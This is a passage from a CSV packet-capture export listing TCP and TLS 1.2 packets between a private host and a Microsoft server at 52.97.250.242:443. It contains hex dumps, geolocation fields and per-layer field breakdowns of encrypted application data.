\"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534212, \"\"ack\"\": 4211345934, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 30311, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xfa+J\\\\x17\\\\xe2\\\\xef\\\\x81\\\\x8b\\\\xf9\\\\xa4&\\\\x91\\\\x0c\\\\x87\\\\xfe\\\\x18d\\\\xdb\\\\xac(\\\\x01\\\\x15<\\\\x07xn#\\\\x17?\\\\xa8\\\\x85H\\\\xaa\\\\xf2\\\\x84\\\\xf1\\\\x93{\\\\x08\\\\x1dT5\\\\xc9\\\\xb3A\\\\xe2\\\\xb4\\\\x0b \\\\xa3\\\\x0b' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:52.068343,118,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211345934 Ack=4018534276,bc2411360d0cbc24112907bb080045000028f7c14000400671173461faf20a98980b01bbfa04fb040a0eef85f7845010003fd2110000,\".$.6\n..$.)....E..(..@.@.q.4a..\n.........\n.....P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63425, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28951, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211345934, \"\"ack\"\": 4018534276, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:52.644909,119,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4211345934 Ack=4018534276,bc2411360d0cbc24112907bb08004500027df7c2400040066ec13461faf20a98980b01bbfa04fb040a0eef85f7845018003fd4660000170303025000000000000000066afad4218a1623ce16aee5085c175777f409b190b9d5e8faee063c5a6006665fd82762b810178c52b9e65353bd1bafc742f80a1def3268c7fd20e3ebb85ccfd40f818b467c682a57197f041f6441f44abab901afbf1ccdf309e801911adbaaa8c12010b8e1a8f4a55de98b69f0c3e71a65639407b8806dd1dc9f0a59ce2f3c6c4df0aea42d5acd665f88e0660c2d1e9fdf33afac1ed57ab9f543955950338fb393a1e08628afdc3be4b9307826f99690fd4295d8da05c406143f9d0735103c151a7c02d5682e9fbbcf62e93a65c18152fa7b63db9d28221365818887098e505128bd918725c0f1d53e700028f142c435ee64baeccc2faa53c05dba68ca111dfd8d7f8e5373e947b4976079ae19fde285c783e4825ea3dea638cde4f52ffbe3540207f4cba3bf570785dc9fd73054e803a572900125412b31a4038ff1be810424fb323761df6834452b5ef3ac0db5efbd24e4d1b2750f2dbb567605757744434abbe9391776b9295ee43e293e68a57ae8e8455e4cda1fa5167de25320944f76d3b8d99f776ba9139f248088db164b3cc062bcdab6c406f565be0ab3a58e52653f55c994a29fde9c99b9a54c3ed3af771094e3fffe2ce900f218a2fb512f6a37d8127b4c3740af091a7187a6503d79228671f33699ae09b1472fa57b43d3aab18558848b34fb8e9432bcd84d86de7914f6157b0c2949e35f2020c0e2ee92817596f426221cf7ef92787970cce14a2bae2486e1636dff9cde813c7b53889b00d00b6fb55c91f4ac18b6a80dfbb5abceacd758343cb53d0fe081a9c082c3a325ff0b542bd7d3ef627b80,\".$.6\n..$.)....E..}..@.@.n.4a..\n.........\n.....P..?.f......P........j..!..#.....\\.Ww.\t........<Z`.f_.'b....R..SS....B.\n..2h.. ...\\.....F|h*W....dA.J........\t........ ......]..i....ec....m...\nY./<lM...-Z.f_..f.-...3....z..C.YP3......(..;..0x&....B.......?..5.<..|..h....b.:e..R.{c..(\"\".e...\t.PQ(...%...>p.(.B.5.d.../.S.].h.......Ss.G..`y.........^...8.../..T......W.....0T...r..%A+1.......$.27a.h4E+^..\n...$...u.-.Vv.uwDCJ..9.v.)^.>)>h.z..E^L....}.S .Ov....wk...$....K<.b......e.\n...Re?U.........L>..w.....,......Q/j7..{L7@.\t.q..P=y\"\".q.6..\t.G/.{C....X..4...2..M..y...{.)I._  .....u..&\"\"....xyp..J+.$..cm....<{S.....o.\\......\n......X4<.=........%..T+...b{.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 637, \"\"id\"\": 63426, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28353, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211345934, \"\"ack\"\": 4018534276, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54374, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 592, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06j\\\\xfa\\\\xd4!\\\\x8a\\\\x16#\\\\xce\\\\x16\\\\xae\\\\xe5\\\\x08\\\\\\\\\\\\x17Ww\\\\xf4\\\\t\\\\xb1\\\\x90\\\\xb9\\\\xd5\\\\xe8\\\\xfa\\\\xee\\\\x06<Z`\\\\x06f_\\\\xd8\\\\'b\\\\xb8\\\\x10\\\\x17\\\\x8cR\\\\xb9\\\\xe6SS\\\\xbd\\\\x1b\\\\xaf\\\\xc7B\\\\xf8\\\\n\\\\x1d\\\\xef2h\\\\xc7\\\\xfd \\\\xe3\\\\xeb\\\\xb8\\\\\\\\\\\\xcf\\\\xd4\\\\x0f\\\\x81\\\\x8bF|h*W\\\\x19\\\\x7f\\\\x04\\\\x1fdA\\\\xf4J\\\\xba\\\\xb9\\\\x01\\\\xaf\\\\xbf\\\\x1c\\\\xcd\\\\xf3\\\\t\\\\xe8\\\\x01\\\\x91\\\\x1a\\\\xdb\\\\xaa\\\\xa8\\\\xc1 \\\\x10\\\\xb8\\\\xe1\\\\xa8\\\\xf4\\\\xa5]\\\\xe9\\\\x8bi\\\\xf0\\\\xc3\\\\xe7\\\\x1aec\\\\x94\\\\x07\\\\xb8\\\\x80m\\\\xd1\\\\xdc\\\\x9f\\\\nY\\\\xce/<lM\\\\xf0\\\\xae\\\\xa4-Z\\\\xcdf_\\\\x88\\\\xe0f\\\\x0c-\\\\x1e\\\\x9f\\\\xdf3\\\\xaf\\\\xac\\\\x1e\\\\xd5z\\\\xb9\\\\xf5C\\\\x95YP3\\\\x8f\\\\xb3\\\\x93\\\\xa1\\\\xe0\\\\x86(\\\\xaf\\\\xdc;\\\\xe4\\\\xb90x&\\\\xf9\\\\x96\\\\x90\\\\xfdB\\\\x95\\\\xd8\\\\xda\\\\x05\\\\xc4\\\\x06\\\\x14?\\\\x9d\\\\x075\\\\x10<\\\\x15\\\\x1a|\\\\x02\\\\xd5h.\\\\x9f\\\\xbb\\\\xcfb\\\\xe9:e\\\\xc1\\\\x81R\\\\xfa{c\\\\xdb\\\\x9d(\\\"\"\\\\x13e\\\\x81\\\\x88\\\\x87\\\\t\\\\x8ePQ(\\\\xbd\\\\x91\\\\x87%\\\\xc0\\\\xf1\\\\xd5>p\\\\x00(\\\\xf1B\\\\xc45\\\\xeed\\\\xba\\\\xec\\\\xcc/\\\\xaaS\\\\xc0]\\\\xbah\\\\xca\\\\x11\\\\x1d\\\\xfd\\\\x8d\\\\x7f\\\\x8eSs\\\\xe9G\\\\xb4\\\\x97`y\\\\xae\\\\x19\\\\xfd\\\\xe2\\\\x85\\\\xc7\\\\x83\\\\xe4\\\\x82^\\\\xa3\\\\xde\\\\xa68\\\\xcd\\\\xe4\\\\xf5/\\\\xfb\\\\xe3T\\\\x02\\\\x07\\\\xf4\\\\xcb\\\\xa3\\\\xbfW\\\\x07\\\\x85\\\\xdc\\\\x9f\\\\xd70T\\\\xe8\\\\x03\\\\xa5r\\\\x90\\\\x01%A+1\\\\xa4\\\\x03\\\\x8f\\\\xf1\\\\xbe\\\\x81\\\\x04$\\\\xfb27a\\\\xdfh4E+^\\\\xf3\\\\xac\\\\r\\\\xb5\\\\xef\\\\xbd$\\\\xe4\\\\xd1\\\\xb2u\\\\x0f-\\\\xbbVv\\\\x05uwDCJ\\\\xbb\\\\xe99\\\\x17v\\\\xb9)^\\\\xe4>)>h\\\\xa5z\\\\xe8\\\\xe8E^L\\\\xda\\\\x1f\\\\xa5\\\\x16}\\\\xe2S \\\\x94Ov\\\\xd3\\\\xb8\\\\xd9\\\\x9fwk\\\\xa9\\\\x13\\\\x9f$\\\\x80\\\\x88\\\\xdb\\\\x16K<\\\\xc0b\\\\xbc\\\\xda\\\\xb6\\\\xc4\\\\x06\\\\xf5e\\\\xbe\\\\n\\\\xb3\\\\xa5\\\\x8eRe?U\\\\xc9\\\\x94\\\\xa2\\\\x9f\\\\xde\\\\x9c\\\\x99\\\\xb9\\\\xa5L>\\\\xd3\\\\xafw\\\\x10\\\\x94\\\\xe3\\\\xff\\\\xfe,\\\\xe9\\\\x00\\\\xf2\\\\x18\\\\xa2\\\\xfbQ/j7\\\\xd8\\\\x12{L7@\\\\xaf\\\\t\\\\x1aq\\\\x87\\\\xa6P=y\\\"\"\\\\x86q\\\\xf36\\\\x99\\\\xae\\\\t\\\\xb1G/\\\\xa5{C\\\\xd3\\\\xaa\\\\xb1\\\\x85X\\\\x84\\\\x8b4\\\\xfb\\\\x8e\\\\x942\\\\xbc\\\\xd8M\\\\x86\\\\xdey\\\\x14\\\\xf6\\\\x15{\\\\x0c)I\\\\xe3_  \\\\xc0\\\\xe2\\\\xee\\\\x92\\\\x81u\\\\x96\\\\xf4&\\\"\"\\\\x1c\\\\xf7\\\\xef\\\\x92xyp\\\\xcc\\\\xe1J+\\\\xae$\\\\x86\\\\xe1cm\\\\xff\\\\x9c\\\\xde\\\\x81<{S\\\\x88\\\\x9b\\\\x00\\\\xd0\\\\x0bo\\\\xb5\\\\\\\\\\\\x91\\\\xf4\\\\xac\\\\x18\\\\xb6\\\\xa8\\\\r\\\\xfb\\\\xb5\\\\xab\\\\xce\\\\xac\\\\xd7X4<\\\\xb5=\\\\x0f\\\\xe0\\\\x81\\\\xa9\\\\xc0\\\\x82\\\\xc3\\\\xa3%\\\\xff\\\\x0bT+\\\\xd7\\\\xd3\\\\xefb{\\\\x80' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:52.645173,120,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018534276 Ack=4211346531,bc24112907bbbc2411360d0c080045000028290440008006ffd40a98980b3461faf2fa0401bbef85f784fb040c63501003fdefad0000,\".$.)...$.6\n...E..().@.....\n...4a.............cP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10500, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65492, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534276, \"\"ack\"\": 4211346531, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 61357, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:52.646407,121,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4018534276 Ack=4211346531,bc24112907bbbc2411360d0c08004500006e290540008006ff8d0a98980b3461faf2fa0401bbef85f784fb040c63501803fd2707000017030300410000000000000005e5c703c80ce698895da3fcad4c80e2e7c161c131f03aca8e08c6887207bb2524c3e9e393ff0d9a0445a1a9deb12bfb4c8f1753b306cfd116aa,\".$.)...$.6\n...E..n).@.....\n...4a.............cP...'.......A................]...L....a.1.:.....r..%$.....\n..E....+.L..S......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 10501, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65421, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534276, \"\"ack\"\": 4211346531, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 9991, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xe5\\\\xc7\\\\x03\\\\xc8\\\\x0c\\\\xe6\\\\x98\\\\x89]\\\\xa3\\\\xfc\\\\xadL\\\\x80\\\\xe2\\\\xe7\\\\xc1a\\\\xc11\\\\xf0:\\\\xca\\\\x8e\\\\x08\\\\xc6\\\\x88r\\\\x07\\\\xbb%$\\\\xc3\\\\xe9\\\\xe3\\\\x93\\\\xff\\\\r\\\\x9a\\\\x04E\\\\xa1\\\\xa9\\\\xde\\\\xb1+\\\\xfbL\\\\x8f\\\\x17S\\\\xb3\\\\x06\\\\xcf\\\\xd1\\\\x16\\\\xaa' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:52.646427,122,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211346531 Ack=4018534346,bc2411360d0cbc24112907bb080045000028f7c34000400671153461faf20a98980b01bbfa04fb040c63ef85f7ca5010003fd2110000,\".$.6\n..$.)....E..(..@.@.q.4a..\n..........c....P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63427, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28949, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211346531, \"\"ack\"\": 4018534346, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.070222,123,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4211346531 Ack=4018534346,bc2411360d0cbc24112907bb0800450003d4f7c4400040066d683461faf20a98980b01bbfa04fb040c63ef85f7ca5018003fd5bd000017030303a7000000000000000743d43f6f58847b29db2699ddcd8d2947a7e85a581d0df109ef9755c7fd2ee3ba34607ba4cf0d4c9682aeed3500baaaa6e31f4c3e7257868e3c5814be4ebbcc2135fc2ddd0a87796e3dbdb1afd71c5bdc265f79934103222d6a25efa41a1375f222f8a2f8fcf039eb4eca746ca761f8f66b25df4be2ed17ea28221f035f0419e9df644593593bf3c605cc42880038eb1734590f8b3a39a6163daaa15d0c667306eb5aff44d6e2a45bd9d96daf777d9751c01c4dfbc0976cd5a3cc31657aeb36986f3ff435c57a72a89de9e9ac980736f938740e15e79a9a1794c108b0b0baa06c11b8dd94db57e3f0648b7fa3d11e6dd1b2584d056edde9ac70046758fae9100d1fa15b00f1ecceb95b06d2f9f65ac70d43d04e6f426cf9cbe59dde2d336e84756d17475e68c92b646660e38f0a87157c14ffa02a804d54c4d57d7ead23f6c999c9baf7b9119638ba1d06c82a5f822c3750cc64b543be03618d682e1ce866ba70f7436bb0a6ff79663b6689a43500864237abbe37c27252d4e6478887925e85bf53600f3aec22843b5743d0b5009c94b07cf19467832caf53303a89171db0fe943e59209abf51a9a6fbb7747c3ed7240eab2d0258c9b7903fb31ec40de7a5ff9ad3570af440739d721c407f7037bd6b5ffdd1e00dbaba795357a47ed421201bc4135cf02c65196391e79ee967bef55f08f46a7fa53f1190e46db05e1e9d8a7a5c3abfd2b9cbeef8ab9079a23546b39d9c6413feb2b02cb0a077f059526e100fc557c64d3a5a17eec88b1ea1c71c9b391f171c23f977bbdb965ef66769cab75bd316a937ba3130fe11cd4e809c3a42d6af6a5a95c923bc0d0903c751d67a2b195c52dd12dc67bfa70939db15c7d736ea185e3951e18c640ab2b57c17c7f344756c634ce06ca28e4aaa45575c2b145fd6a1e2e4fde5340154cacc18310c4da3317e062a0efac91c0bb5fa3baa13069c1560c7ebcfc5e00378cd7d1df9b7b5a847accccc48927b0e5574ebe0061504b19634a1770066864e5427e674efaeee37f21c2bc3dfe4ba5e221fd7b934fec291e4a8e077eb49196f9dc52521f9658378ca49c2e4a66b62c096cd4786546af73a809d245d37eb40f51e9e6ac23e23b50f7cdc64e1eff9e64004293e7acdc341ae50b23dc18ad6a657cc289a961da7ff55067cd18d51cbd02f88f5e495278825faeef1e9f4052b93aadcf704442bc5aa6b9860a97df702d49aeab86714cc74bc4ca45954920b9bb06f224e4a5042fbaec5f0a5ce9e096d0e29a7635f2f616083dec5162e904d1e05b57633ae9eb7bb071324,\".$.6\n..$.)....E.....@.@.mh4a..\n..........c....P..?.................C.?oX.{).&....)G..ZX.\n.\t..U.....4`{..\nL....5......L>rW..<X..N..!5.-.\n.yn=.....[.&_y.A.\"\"-j%....u.\"\".....9.N.tl.a..k%.K....(\"\".._....dE.Y;....B..8..4Y..:9..=..].fs..Z.D...[..m.w}.Q..M...l...1ez.6.o?.5.zr.......6.8t.............l.....W..d.....m..XM.n...p.gX...\n..[.....[....Z.\nC.NoBl.....-3n.um.G^h.+df`..\n..|...*.MT..}~.#.........8....*_.,7P.d.C..a.h...f.p.Ck...yf;f..5..B7..7.rR..G...^..S`.:.\"\".;WC......|..g.,.S0:......>Y ..Q....t|>.$..-.X...?...\n.....W\n.@s.r.@.p7.k_...\n..ySW.~.! ...\\.,e.c....g.._..j..?...m.^...z\\:........y.5F...d....,..w.YRn...W.M:Z.........9...#.w...^.gi..[...7.10...N..:B..jZ..#.\n\t..Q.z+.\\R...g..\t9....6..^9Q..d\n..|...DulcL.l..J.EW\\+._......4.T...1.M.1~.*.......;.....`......x.}.....G...H.{.Ut.......4.w.f.NT'.t...7..+....^\"\"...4......w.I.o..%!.e.x.I...kb...G.Tj.:..$]7.@...j.>#..|.d....@.)>z..A.P.=....W.(.....U.|..Q../....'.%......+.....D+..k.`.}......g..t.L.YT....o\"\"NJPB.......\tm.).c_/a`......M...v3......$\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 980, \"\"id\"\": 63428, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28008, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211346531, \"\"ack\"\": 4018534346, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54717, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 935, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07C\\\\xd4?oX\\\\x84{)\\\\xdb&\\\\x99\\\\xdd\\\\xcd\\\\x8d)G\\\\xa7\\\\xe8ZX\\\\x1d\\\\r\\\\xf1\\\\t\\\\xef\\\\x97U\\\\xc7\\\\xfd.\\\\xe3\\\\xba4`{\\\\xa4\\\\xcf\\\\rL\\\\x96\\\\x82\\\\xae\\\\xed5\\\\x00\\\\xba\\\\xaa\\\\xa6\\\\xe3\\\\x1fL>rW\\\\x86\\\\x8e<X\\\\x14\\\\xbeN\\\\xbb\\\\xcc!5\\\\xfc-\\\\xdd\\\\n\\\\x87yn=\\\\xbd\\\\xb1\\\\xaf\\\\xd7\\\\x1c[\\\\xdc&_y\\\\x93A\\\\x03\\\"\"-j%\\\\xef\\\\xa4\\\\x1a\\\\x13u\\\\xf2\\\"\"\\\\xf8\\\\xa2\\\\xf8\\\\xfc\\\\xf09\\\\xebN\\\\xcatl\\\\xa7a\\\\xf8\\\\xf6k%\\\\xdfK\\\\xe2\\\\xed\\\\x17\\\\xea(\\\"\"\\\\x1f\\\\x03_\\\\x04\\\\x19\\\\xe9\\\\xdfdE\\\\x93Y;\\\\xf3\\\\xc6\\\\x05\\\\xccB\\\\x88\\\\x008\\\\xeb\\\\x174Y\\\\x0f\\\\x8b:9\\\\xa6\\\\x16=\\\\xaa\\\\xa1]\\\\x0cfs\\\\x06\\\\xebZ\\\\xffD\\\\xd6\\\\xe2\\\\xa4[\\\\xd9\\\\xd9m\\\\xafw}\\\\x97Q\\\\xc0\\\\x1cM\\\\xfb\\\\xc0\\\\x97l\\\\xd5\\\\xa3\\\\xcc1ez\\\\xeb6\\\\x98o?\\\\xf45\\\\xc5zr\\\\xa8\\\\x9d\\\\xe9\\\\xe9\\\\xac\\\\x98\\\\x076\\\\xf98t\\\\x0e\\\\x15\\\\xe7\\\\x9a\\\\x9a\\\\x17\\\\x94\\\\xc1\\\\x08\\\\xb0\\\\xb0\\\\xba\\\\xa0l\\\\x11\\\\xb8\\\\xdd\\\\x94\\\\xdbW\\\\xe3\\\\xf0d\\\\x8b\\\\x7f\\\\xa3\\\\xd1\\\\x1em\\\\xd1\\\\xb2XM\\\\x05n\\\\xdd\\\\xe9\\\\xacp\\\\x04gX\\\\xfa\\\\xe9\\\\x10\\\\r\\\\x1f\\\\xa1[\\\\x00\\\\xf1\\\\xec\\\\xce\\\\xb9[\\\\x06\\\\xd2\\\\xf9\\\\xf6Z\\\\xc7\\\\rC\\\\xd0NoBl\\\\xf9\\\\xcb\\\\xe5\\\\x9d\\\\xde-3n\\\\x84um\\\\x17G^h\\\\xc9+df`\\\\xe3\\\\x8f\\\\n\\\\x87\\\\x15|\\\\x14\\\\xff\\\\xa0*\\\\x80MT\\\\xc4\\\\xd5}~\\\\xad#\\\\xf6\\\\xc9\\\\x99\\\\xc9\\\\xba\\\\xf7\\\\xb9\\\\x11\\\\x968\\\\xba\\\\x1d\\\\x06\\\\xc8*_\\\\x82,7P\\\\xccd\\\\xb5C\\\\xbe\\\\x03a\\\\x8dh.\\\\x1c\\\\xe8f\\\\xbap\\\\xf7Ck\\\\xb0\\\\xa6\\\\xffyf;f\\\\x89\\\\xa45\\\\x00\\\\x86B7\\\\xab\\\\xbe7\\\\xc2rR\\\\xd4\\\\xe6G\\\\x88\\\\x87\\\\x92^\\\\x85\\\\xbfS`\\\\x0f:\\\\xec\\\"\"\\\\x84;WC\\\\xd0\\\\xb5\\\\x00\\\\x9c\\\\x94\\\\xb0|\\\\xf1\\\\x94g\\\\x83,\\\\xafS0:\\\\x89\\\\x17\\\\x1d\\\\xb0\\\\xfe\\\\x94>Y \\\\x9a\\\\xbfQ\\\\xa9\\\\xa6\\\\xfb\\\\xb7t|>\\\\xd7$\\\\x0e\\\\xab-\\\\x02X\\\\xc9\\\\xb7\\\\x90?\\\\xb3\\\\x1e\\\\xc4\\\\r\\\\xe7\\\\xa5\\\\xff\\\\x9a\\\\xd3W\\\\n\\\\xf4@s\\\\x9dr\\\\x1c@\\\\x7fp7\\\\xbdk_\\\\xfd\\\\xd1\\\\xe0\\\\r\\\\xba\\\\xbaySW\\\\xa4~\\\\xd4! 